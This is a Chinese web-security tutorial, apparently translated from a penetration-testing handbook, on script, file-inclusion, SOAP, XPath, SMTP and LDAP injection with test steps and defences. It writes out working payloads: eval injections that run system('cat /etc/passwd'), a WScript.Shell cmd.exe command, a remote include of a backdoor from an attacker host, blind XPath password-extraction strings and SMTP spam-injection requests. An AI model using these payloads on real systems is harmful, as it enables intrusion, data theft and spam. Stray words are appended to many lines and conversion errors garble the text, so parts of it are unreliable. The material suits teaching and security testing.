PHP函數eval可用於動態執行在運行時傳送給該函數的代碼。下面以一個搜索功能爲例,該功能容許用戶保存搜索,而後在用戶界面上以連接的形式動態生成這些搜索。若是用戶訪問該搜索功能,他們使用下面的URL:https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahhphp
服務器端應用程序經過動態生成變量來執行這項功能,生成的變量包含在storedsearch參數中指定的名稱/值對;在當前狀況下,它建立值爲wahh的變量mysearch。node
$Storedsearch = $_GET['storedsearch'];程序員
eval(·$storedsearch;");正則表達式
這時就能夠提交專門設計的輸入,由eval函數動態執行,從而在服務器端應用程序中注入任意PHP命令。分號字符可用於在單獨一個參數中將幾個命令連接在一塊兒。例如,要獲取文件/etc/password的內容,可使用file_get_contents或system命令:後端
https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;安全
%20echo%20file_get_contents('\etc\passwd')服務器
https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;cookie
%20system('cat%20/etc/passwd')網絡
Perl語言也包含一個可經過一樣的方式加以利用的eval函數。注意,可能須要對分號字符進行URL編碼(爲%3b),由於一些CGI腳本解析器將它解釋爲參數分隔符。app
ASP函數Execute與PHP函數eval的工做機制相同,可用於動態執行在運行時傳送給函數的代碼。
上面描述的PHP應用程序功能可用以下ASP代碼執行:
dim storedsearch
storedsearch = Request("storedsearch")
execute(storedsearch)
這時,攻擊者可提交專門設計的輸入,注入任意ASP命令。在ASP中,通常用換行符分隔不一樣的命令,但當想Execute函數提交命令時,幾個命令之間能夠用冒號連接在一塊兒。例如,
response.write可用於將任意數據寫入服務器響應中:
https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh;
response.write%2011111111
Wscript.Shell對象可用於訪問操做系統命令Shell。例如,下面的ASP代碼將列出目錄內容,並將結果保存在Web根目錄下得一個文件中:
Dim oScript
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Call oScript.Run("cmd.exe /c dir > c:\inetpub\wwwroot\dir.txt",0,True)
將全部的命令經過如下方式連接起來,這段代碼還能夠提交給易受攻擊的Execute函數:
https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:+dim+oScript;+Set+oScript+=+Server.CreateObject("WSCRIPT.SHELL");+
Call+oScript.Run+("cmd.exe+/c+dir+>c:\inetpub\wwwroot\dir.txt",0,True)
大多數Web應用程序支持動態執行,並且相關函數的工做機制大致類似。一般而言,使用一組數量相對較少,可用於多種語言和平臺的攻擊字符串就能夠檢測出動態執行漏洞。然而,有時候,可能必須研究所針對的函數的語法和行爲。例如,雖然Java自己並不支持動態執行,但JSP平臺的一些定製函數可能支持它。應當使用在應用程序解析過程當中收集到的信息,分析遇到的任何不常見的執行環境。
滲透測試步驟:
1.用戶提交的全部數據項均可提交給動態執行函數。其中最多見的數據項是cookie參數名稱和參數值,以及做爲前一項操做結果保存在用戶資料中的永久數據。
2.嘗試輪流向目標參數提交下列值:
;echo%20111111
echo%20111111
response.write%20111111
:response.write%20111111
3.監控應用程序的響應。
若是字符串111111被單獨返回(即它前面沒有其餘命令字符串),就表示應用程序可能易於受到腳本命令注入。
4.若是字符串111111並未返回,尋找任何表示輸入被動態執行的錯誤消息;另外,可能須要對語法進行調整,以實現注入任意命令的目的。
5.若是攻擊的應用程序使用PHP,可使用測試字符串phpinfo()。若是他成功執行,應用程序將返回PHP環境的配置信息。
6.若是應用程序可能易於受到攻擊,與前面描述的查找OS命令注入漏洞同樣,注入一些形成時間延遲的命令確認這一點。例如:
system('ping%20127.0.0.1')
許多腳本語言支持使用包含文件(include file).這種功能容許開發者把可重複使用的代碼插入到單個的文件中,並在須要時將他們包含的特殊功能的的代碼文件中。而後,包含文件中的代碼被解釋,就好像插入到包含指令的位置同樣。
PHP語言特別容易出現文件包含漏洞。由於他得包含函數接受一個遠程文件路徑。這種缺陷已經成爲PHP應用程序中大量漏洞的根源。
以一個向不一樣位置的人們傳送各類內容的應用程序爲例。用戶選擇他們的位置後,這個信息經過一個請求傳送給服務器,代碼以下:
https://wahh-app.com/main.php?Country=US
應用程序經過如下方式處理Country參數:
$country = $_GET('country');
include($country.'.php');
這使得執行環境加載位於WEB服務器文件系統中的US.PHP文件。而後,這個文件的內容被複制到main.php文件中,並得以執行。
攻擊者可以以各類方式利用這種行爲,最嚴重的狀況是指定一個外部URL做爲包含文件的位置。PHP包含函數接受這個位置做爲輸入,接着,執行環境將獲取指定的文件夾並執行其內容。所以,攻擊者可以構建一個包含任意複雜內容的惡意腳本,將其寄存在他控制的WEB服務器上,並經過易受攻擊的應用程序函數調用它而後執行。例如:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
有時,應用程序根據用戶可控制的數據加載包含文件,但這時不可能給位於外部服務器上的文件指定URL。例如,若是用戶可控制的數據被提交給ASP函數Server.Execute,那麼攻擊者就能夠執行任意一段ASP腳本,只要這段腳本屬於調用這個函數的相同應用程序。
在這種狀況下,攻擊者仍然能夠利用應用程序的行爲執行未受權操做。
1.服務器上可能有一些經過正常途徑沒法訪問的文件,例如,任何訪問路徑/admin的請求都會被應用程序實施的訪問控制阻止。若是可以將敏感功能包含在一個得到受權能夠訪問的頁面中,那麼就能夠訪問那個功能。
2.服務器上的一些靜態資源也受到一樣的保護,沒法直接訪問。若是可以將這些動態包含在其餘應用程序頁面中,那麼執行環境就會將靜態資源的內容複製到它的響應中。
滲透測試步驟:
要測試遠程文件包含漏洞,執行如下步驟:
1.向每個目標參數提交一個鏈接受控制的WEB服務器資源的URL,並肯定是否收到運行目標應用程序的服務器提出的任何請求。
2.若是第一次測試失敗,嘗試提交一個包含不存在的IP地址的URL,並肯定服務器試圖與這個地址創建鏈接時是否出現超時。
3.若是發現應用程序易於受到遠程文件包含攻擊,與前面描述的動態執行攻擊同樣,使用相關語言中可用的API,構建一段惡意腳本實施攻擊。
相對於遠程文件包含而言,存在本地文件包含漏洞的腳本環境要更多一些。要測試本地文件漏洞,執行如下步驟:
(1)提交服務器上一個已知可執行資源的名稱,肯定應用程序的行爲是否有任何變化。
(2)提交服務器上一個已知靜態資源的名稱,肯定它的內容是否被複制到應用程序的響應中。
(3)若是應用程序易於受到本地文件包含攻擊,嘗試經過Web服務器訪問任何沒法直接到達的敏感功能或資源。
3.防止腳本注入漏洞
一般而言,防止腳本注入漏洞的最佳方法是,避免將用戶提交的輸入或者來自用戶的數據傳送給任何動態執行或包含函數。若是因爲某種緣由必須傳送用戶提交的輸入,那麼應對相關輸入進行嚴格的確認檢查以阻止任何攻擊。若有可能,使用一份由已知可靠的值組成的「白名單」(例如應用程序支持的全部語言或位置名單),並拒絕任何沒有出如今這個名單上的輸入。若是沒法作到這一點,應根據一組已知無害的字符[如字母數字字符(空白符除外)],檢查在輸入中使用的字符。
SOAP(Simple Object Access Protocol,簡單對象訪問協議)是一種使用XML格式封裝數據、基於消息的通訊技術。
滲透測試步驟:
1.輪流在每一個參數中提交一個惡意XML結束標籤,如</foo>。若是沒有發生錯誤,那麼輸入可能沒有插入到SOAP消息中,或者以某種方式淨化了。
2.若是出現錯誤,提交一對有效的起始與結束標籤,如<foo></foo>。若是這對標籤使得錯誤消失,那麼應用程序極可能易於受到攻擊。
3.有些時候,插入到XML格式消息中的數據隨後以XML格式被讀取並返回給用戶。若是修改的數據項在應用程序的響應中返回,看看提交的任何XML內容是否以相同的形式返回,或者已經過某種方式被規範化。輪流提交下面兩個值:
test<foo/>
test<foo></foo>
若是發現其中一個值的返回結果爲另外一個值,或者只返回test,那麼能夠確信輸入被插入到了XML消息中。
4.若是HTTP請求中包含幾個可放入到SOAP消息中的參數,嘗試在一個參數中插入起始註釋字符<!--,在另外一個參數中插入結束註釋字符!-->。而後,輪換在參數中插入這兩個字符(由於沒法知道參數出現的順序)。這樣作可能會把服務器SOAP消息的某個部分做爲註釋處理,從而改變應用程序的邏輯,或者造成一個可能造成消息泄露的不一樣錯誤條件。
咱們能夠在用戶提交的數據被插入SOAP消息中的任何位置實施邊界確認過濾,以防止SOAP注入。須要進行過濾的數據包括用戶在當前請求中直接提交的數據,以及在前面的請求中已經存在或由以用戶數據爲輸入的其餘處理過程生成的數據。
爲防止以上上述攻擊,應用程序應對出如今用戶輸入中的任何XML元字符進行HTML編碼。HTML編碼包含用對應的HTML實體替代字面量字符。這樣作可確保XML註釋器在進行處理時,把他們當作相關元素的數據值,而不是消息結構的一部分。一些常常形成問題的字符的HTML編碼以下:
< <
> >
/ /
XPath(XML路徑語言)是一種用於導航XML文檔並從中獲取數據的解釋型語言。許多時候i,一個XPath表達式表明由一個文檔節點導航到另外一個文檔節點所須要的一些列步驟。
一個獲取全部電子郵件地址的XPath查詢以下:
//address/email/text()
一個返回Dawes的所有用戶資料的查詢爲:
//address[surname/text() = 'Dawes']
以一個根據用戶名和密碼得到用戶保存的信用卡號碼的一個用程序爲例。下面的XPath查詢覈實用戶提交的證書,並獲取相關用戶的信用卡號碼:
//address[surname/text() = 'Dawes' and password/text() = 'secret']/ccard/text()
與利用SQL注入漏洞同樣,這時攻擊者也能夠破壞應用程序的查詢。例如,提交密碼值:'or 'a'='a
將致使下面的XPath查詢,獲取全部用戶的信用卡信息:
//address[surname/text()='Dawes' and password/text()='' or 'a'='a']/ccard/text()
與SQL注入同樣,注入一個數字值時不須要單引號。
與SQL查詢不一樣,XPath查詢中的關鍵字區分大小寫,XML文檔中的元素名也區分大小寫。
提交如下兩個密碼將致使應用程序的不一樣行爲:第一種狀況返回結果,但第二種狀況不返回結果。
'or 1=1 and 'a'='a
'or 1=2 and 'a'='a
這種行爲差別可用於測試任何特殊條件的真假,所以可經過它一次一個字節的提取出任意信息。與SQL同樣,XPath語言也包含一個子字符串函數,可用它一次一個字符的測試一個字符串的值。例如,提交密碼
'or //address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a
將致使下面的XPath查詢,若是用戶Gates密碼的第一個字符爲M,將返回查詢結果:
//address[surname/text()='Dawes' and password/text()='' or
//address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a']/ccard/text()
輪流針對每一個字符位置並測試每一個可能的值,攻擊者就可以得到Gates的完整密碼。
XPath查詢可包含與XML文檔中當前節點有關的步驟,所以,從前節點能夠導航到父節點或一個特定的子節點。另外,XPath包含可查詢文檔元信息(包括特殊元素的名稱)的函數。使用這些技巧就能夠提取出文檔中全部節點的名稱與值,而沒必要提早知道與它的結構或內容有關的任何信息。
例如,可使用前面描述的子字符串技巧,經過提交以下格式的密碼,提取當前節點的父節點名稱:
'or substring(name(parent:;*[position()=1]),1,1)='a
這個輸入可以返回結果,由於address節點的第一個字母爲a。輪到第二個字母,這時能夠經過提交下列密碼肯定該字母爲d,由於最後一個輸入返回告終果:
'or substring(name(parent:;*[position()=1]),2,1)='a
'or substring(name(parent:;*[position()=1]),2,1)='b
'or substring(name(parent:;*[position()=1]),2,1)='c
'or substring(name(parent:;*[position()=1]),2,1)='d
肯定address節點的名稱後,攻擊者就能夠輪流攻擊它的每個子節點,提取出他們的名稱與值。經過索引肯定相關子節點可沒必要知道任何節點的名稱。例如,下面的查詢將返回值Hunter:
//address[position()=3]/child::node()[position()=4/text()
而下面的查詢返回值letmein
//address[position()=3]/child::node()[position()=6]/text()
這種技巧可用在徹底盲目的攻擊中,這時應用程序在響應中不返回任何結果,咱們能夠設計一個注入條件,經過索引指定目標節點。例如,若是Gates密碼的第一個字母爲M,提交下面的密碼將返回結果:
'or substring(//address[position()=1]/child::node()[position()=6]/text(),1,1)='M' and 'a'='a
輪流攻擊每一個地址節點的每一個子節點,並一次一個字符的提取出他們的值,攻擊者就能夠提取整個XML數據的內容。
XPath中有兩個有用的函數,可幫助自動完成上述攻擊,迅速遍歷XML文檔中的全部節點和數據。
(1)count(),這個函數返回指定元素的子節點數量,可用於肯定須要遍歷的position()值的範圍
(2)string-length(),這個函數返回一個被提交的字符串的長度,可用於肯定須要遍歷的SubString()值的範圍。
許多經常使用於探查SQL注入漏洞的攻擊字符串若是被提交給一個易於受到XPath注入的函數,每每會致使反常行爲。例如,下面的兩個字符將會破壞XPath查詢的語法,從而形成錯誤:
'
'--
一般,與在SQL注入漏洞中同樣,下面的一個或幾個字符串將會使應用程序的行爲發生變化,但不會形成錯誤:
' or 'a'='a
' and 'a'='b
or 1=1
and 1=2
所以,,任什麼時候候,若是在探查SQL注入過程當中發現一個漏洞的初步證據,但卻沒法對該漏洞加以利用,那麼遇到的可能就是XPath注入漏洞。
滲透測試步驟:
1.嘗試提交下面的值,並肯定他們是否會使應用程序的行爲發生變化,但不會形成錯誤:
' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b
2.若是參數爲數字,嘗試提交下面的字符串:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0
3.若是上面的任何字符串致使應用程序的行爲發生改變,但不會形成錯誤,極可能能夠經過設計測試條件,一次提取一個字節的信息,從而獲取任意數據。使用一系列如下格式的條件肯定當前節點的父節點的名稱:
substring(name(parent::*[position()=1]),1,1)='a'
4.提取父節點的名稱後,使用一系列下面格式的條件提取XML樹中的全部數據:
substring(//parentnodename[position()=1]/child::node()[position()=1]/text(),1,1)='a'
若是以爲必須在一個XPath查詢中插入用戶提交的輸入,也只應提交可實施嚴格輸入確認的簡單數據。應根據一份可接受字符組成的「白名單」檢查用戶輸入,其中最好只包括字母數字字符。應阻止任何可能破壞XPath查詢的字符,包括()= ' [] :, * /和全部空白符。應拒絕而不是淨化任何與白名單不匹配的輸入。
許多應用程序用友一項容許用戶經過應用程序提交消息的功能。例如,向支持人員報告問題或提供關於Web站點的反饋。這項功能通常經過郵件(或SMTP)服務器執行。一般,用戶提交的輸入被插入到郵件服務器處理的SMTP會話中。若是攻擊者可以提交未被過濾或淨化的專門設計的輸入,就能夠在這個會話中注入任意SMTP命令。許多時候,應用程序容許指定消息的內容和本身的電子郵件(插入到生成電子郵件的From字段中)。還能夠指定消息的主題和其餘細節。可以控制的任何字段都易於受到SMTP注入。
SMTP注入漏洞,他們掃描因特網查找易受攻擊的郵件表單,並使用他們生成大量垃圾電子郵件,垃圾電子郵件的發送者常常利用。
這裏,用戶可指定一個From地址和消息的內容。應用程序把這個輸入傳送給PHP mail()命令,由它創建郵件並與他配置的郵件服務器進行必要的會話。生成的郵件以下:
To:admin@wahh-app.com
From:marcus@wahh-mail.com
Subject:Site problem
Confirm order page doesn't load.
PHP mail()命令使用additional_headers參數爲消息設定From地址。這個參數還可用於指定其餘消息頭,包括Cc和Bcc,並用換行符分隔每一個被請求的消息頭。所以,攻擊者能夠經過在From字段中注入一個消息頭,將消息發送給任意接收者。
marcus@wahh-mail.com%OaBcc:all@wahh-othercompany.com
這使得mail()命令生成如下消息:
To:admin@wahh-app.com
From:marcus@wahh-mail.com
Bcc:all@wahh-othercompany.com
Subject:Site problem
Confirm Order page doesn't load
在其餘狀況下,應用程序可能會執行SMTP會話,或者將用戶提交的輸入傳送給一個不一樣組件以完成這一任務。這時,咱們就能夠直接在這個會話中注入任意SMTP命令,徹底控制由應用程序生成的消息。
例如,以一個使用如下請求提交站點反饋的應用程序爲例:
Post feedback.php HTTP/1.1
Host:wahh-app.com
Content-Length:56
From=daf@wahh-mail.com@subject=Site+feedback&Message=foo
這使得應用程序使用如下命令開始一個SMTP會話:
MAIL FROM:daf@wahh-mail.com
RCPT TO:feedback@wahh-app.com
DATA
From:daf@wahh-mail.com
To:feedback@wahh-app.com
Subject:Site feedback
foo
SMTP 客戶發出DATA命令後,應用程序送出電子郵件消息的內容,包括消息頭和主體,而後發送一個點自如(.),這告訴服務器消息已經發送完畢,客戶能夠發出其餘SMTP命令,發送其餘消息。
這時,攻擊者能夠在任何控制的電子郵件字段中注入任意SMTP命令。例如,他能夠嘗試注入Subject字段,以下所示:
POST feedback.php HTTP/1.1
Host:wahh-app.com
Content-Length:266
From=daf@wahh-mail.com&Subject=Site+feedback%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+mail@wahh-viagra.com%Od%OaRCPT+TO:+john@wahh-mail.com
%Od%OaDATA%Od%OaFROM:+mail@wahh-viagra.com%Od%OaTO:+john@wahh-mail.com%Od%OaSubject:+Cheap+VLAGR4%Od%OaBlah%Od%Oa%2e%Od%Oa&Message=foo
若是應用程序易受攻擊,那麼會創建如下SMTP會話,它生成兩個不一樣的電子郵件消息,其中第二個徹底由攻擊者控制:
MAIL FROM:daf@wahh-mail.com
RCPT TO:feedback@wahh-app.com
DATA
From:daf@wahh-mail.com
TO:feedback@wahh-app.com
Subject:Site+feedback
foo
.
Mail FROM:mail@wahh-viagra.com
RCPT TO:john@wahh-mail.com
DATA
FROM:mail@wahh-viagra.com
TO:john@wahh-mail.com
Subject:Cheap VIAGR4
Blah
.
foo
.
爲了有效探查應用程序的郵件功能,須要測試每個提交給電子郵件有關的功能的參數,甚至那些最初可能與生成的消息無關的參數。
滲透測試員還應該測試每一種攻擊,並在每一個測試中使用Windows和UNIX形式的換行符。
滲透測試步驟:
1.應當輪流提交下面的每一個測試字符串做爲每個參數,在相關位置插入電子郵件地址。
<youremail>%OaCc:<youremail>
<youremail>%Od%OaCc:<youremail>
<youremail>%OaBcc:<youremail>
<youremail>%Od%OaBcc:<youremail>
%OaDATA%Oafoo%Oa%2e%OaMAIL+FROM:+<youremail>%OaRCPT+TO:+<youremail>%OaDATA%OaFrom:+<youremail>%OaTO:+<youremail>%OaSubject:+test%Oafoo%Oa%2e%Oa
%Od%OaDATA%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+<youremail>%Od%OaRCPT+TO:+<youremail>%Od%OaDATA%Od%OaFrom:+<youremail>%Od%OaTO:+<youremail>%Od%OaSubject:+test%Od%Oafoo%Od%Oa%2e%Od%Oa
2.留意應用程序返回的任何錯誤消息。若是這些錯誤與電子郵件功能中的任何問題有關,肯定是否須要對輸入進行調整,以便利用漏洞。
3.應用程序的響應可能並不以任何形式表示一個漏洞存在或被成功利用。應該監控指定的電子郵件地址,看是否收到任何電子郵件。
4.仔細檢查生成相關請求的HTML表單。他們可能提供與服務器端使用軟件有關的線索。其中可能包含一個用於指定電子郵件收件人地址的隱藏或禁用字段,能夠直接對其進行修改。
5.向程序支持人員發送電子郵件的功能經常被視爲外圍功能,應用程序可能並不對其採用與主要功能相同的安全標準,或者進行嚴格的測試。並且,由於他們須要鏈接不經常使用的後端組件,應用程序每每經過直接調用相關操做系統命令來執行他們。所以,除探查SMTP注入漏洞外,還應及其仔細地檢查全部與電子郵件有關的功能,查找OS命令注入漏洞。
若是對提交給電子郵件功能或SMTP會話使用的任何用戶提交的數據進行嚴格的確認檢查,就能夠防止SMTP注入漏洞。所以,應根據其用途對每項數據進行儘量嚴格的確認。
(1)應根據一個適當的正則表達式檢查電子郵件地址(固然應拒絕全部換行符)
(2)消息主題不得包含任何換行符,並應實施適當的長度限制。
(3)若是消息內容被一個SMTP會話直接使用,那麼應禁止使用僅包含一個點字符的消息行。
LDAP(Lightweight Directory Access Protocol,輕量級目錄訪問協議)用於訪問網絡中的目錄服務。Windows域中使用的活動目錄(Active Directory)就是這種目錄的一個典型示例。
要在查詢結果中獲取其餘屬性,必須首先終止包含查詢過濾器的括號,而後指定其餘想要的屬性。例如,提交
GUILL);mail.cn;
將致使如下查詢:
<LDAP://ldapserver>;<givenName=GUILL);mail.cn;);cn,telephoneNumber,department
它返回另一個包含用戶電子郵件地址的欄。
請注意另一個包含惡意屬性名cn;);cn的欄。LDAP查詢屬性在一個用逗號分隔的列表中指定,所以兩個逗號之間的任何內容都被當作屬性名處理。還請注意,若是指定徹底任意的屬性名,活動目錄將返回一個錯誤;可是,它接受以有效名稱開始、後接一個分號的無效屬性名,所以須要在注入字符串後指定cn;。
還能夠指定在結果中返回任何數量的字段,而且能夠用一個星號(*)做爲經過通配符表明主查詢過濾器。例如,提交
*);cn,l,co,st,c,mail,cn;
將返回屬於每名用戶的所有字段。
有時,用戶提交的輸入並不直接用做查詢過濾器的所有值,而是嵌入到一個更加複雜的過濾器中。例如,若是執行搜索的用戶只能查見解國僱員的資料,應用程序將執行如下查詢:
<LDAP://ldapserver>;(&(givenName=GUILL)(c=FR));cn,telephoneNumber,department,c
這個查詢使用&操做符組合兩個條件:一個條件由用戶控制,另外一個條件由應用程序員預先設定。提交搜索項*將返回全部法國用戶的資料。可是,提交字符串*));cn,cn;
應用程序將執行如下查詢:
<LDAP://ldapserver>;(&(givenName=*));cn,cn;)(c=FR));cn,telephoneNumber,department,c
它會從查詢過濾器中刪除(c=FR)條件,破壞應用程序最初的邏輯,於是返回全部用戶的資料,
向一項LDAP操做提交無效的輸入並不會生成任何詳細的錯誤消息。一般,由搜索功能返回的結果和發生的錯誤(如一個HTTP500狀態碼)都有助於肯定漏洞。可是,滲透測試員可使用如下步驟相對可靠的肯定一個LDAP注入漏洞:
滲透測試步驟:
1.嘗試僅輸入*字符做爲搜索項。在LDAP中,這個字符是一個通配符,但在SQL中不是。若是返回大量結果,這種狀況明顯表示攻擊針對的是一個LDAP查詢
2.嘗試輸入大量的括號:))))))))))
3.這個輸入將結束任何括住輸入、以及那些包含主查詢過濾器的括號,致使沒法匹配的閉括號,於是破壞查詢的語法。若是發生錯誤,應用程序就易於受到LDAP注入。(注意,這種輸入也會破壞其餘許多類型的應用程序邏輯,所以,若是已經肯定所針對的是一個LDAP查詢,它只能提供一個明顯的指標)
4.嘗試輸入下面的一系列表達式,直到再也不出現錯誤,從而肯定要控制剩下的查詢,須要結束多少個括號:
*);cn;
*));cn;
*)));cn;
*))));cn;
5.嘗試在輸入結尾增長其餘屬性,用逗號分隔這些屬性。輪流測試每個屬性。若是返回錯誤消息,那麼該屬性當前無效。經常使用在目錄中被LDAP查詢的屬性包括:
cn;c,mail,givenName,o,ou,dc,l,uid,objectclass,postaladdress,dn,sn
若是有必要在一個LDAP查詢中插入用戶提交的輸入,也只提交可實施輸入確認的簡單數據。應根據一份可接受字符「白名單」檢查用戶輸入,其中最好只包括字母數字字符。應阻止任何可能破壞LDAP查詢的字符,包括();, * | & 和 =。應拒絕而不是淨化任何與白名單不匹配的輸入。